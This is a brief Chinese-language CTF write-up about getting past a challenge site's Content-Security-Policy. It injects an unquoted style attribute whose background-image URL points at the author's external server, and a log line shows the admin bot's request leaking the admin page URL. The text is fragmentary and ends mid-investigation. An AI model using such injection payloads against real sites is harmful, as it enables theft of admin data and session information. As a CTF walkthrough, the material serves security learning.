这是个比较特别的题目,开始上来逛了逛发现其实挺迷的…
1 | 题目介绍 |
看看站内的功能,min.php和max.php可以提交md5,会显示最大或者最小的md5,但是输入的地方存在正则,研究了一下发现不能输入任何符号,也就意味着这里不存在问题。
有个contact和report bug,content提交有趣的md5,但不同的是,没有正则提示,很多都提示提交成功,report bug就更是了,没任何check。
根据提示我们把report bug扔下,研究contact,先看看CSP
CSP
1 | Content-Security-Policy: default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' cdn.bootcss.com 'unsafe-eval'; style-src 'self' cdn.bootcss.com 'unsafe-inline'; connect-src * wss:; |
由于contact和minmax的功能相似,猜测后台的输出方式相似,所以仔细观察min.php,最奇怪的其实是输出点,输出点后没有引号包裹,也就意味着即便使用了htmlspecialchars过滤了”和<,但是我们仍然可以dom xss
1 |
|
但是一切的问题都在CSP,内联的脚本是不会被执行的,但这里有好多*啊
1 | img-src * |
style可以设置啊,然后style里有个font-src可以随便设置
关于字体的绕过方式,我仍然不知道是不是有效的,但我稍微尝试了下发现语法不同,也许是不熟悉吧,但我肯定是智障了,css可以设置背景图片啊,img-src是*啊,所以payload
1 | aaang style=background-image:url('http://119.29.192.14') |
收到了请求
1 | 115.159.200.107 - - [19/Feb/2017:03:21:31 +0800] "GET / HTTP/1.1" 304 0 "http://52.80.1.108:6666/d9aba78484e6d3325f88f0e8826191e9/admin.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" |
但想了一晚上为啥是404,我怕是智障了
试到flag.php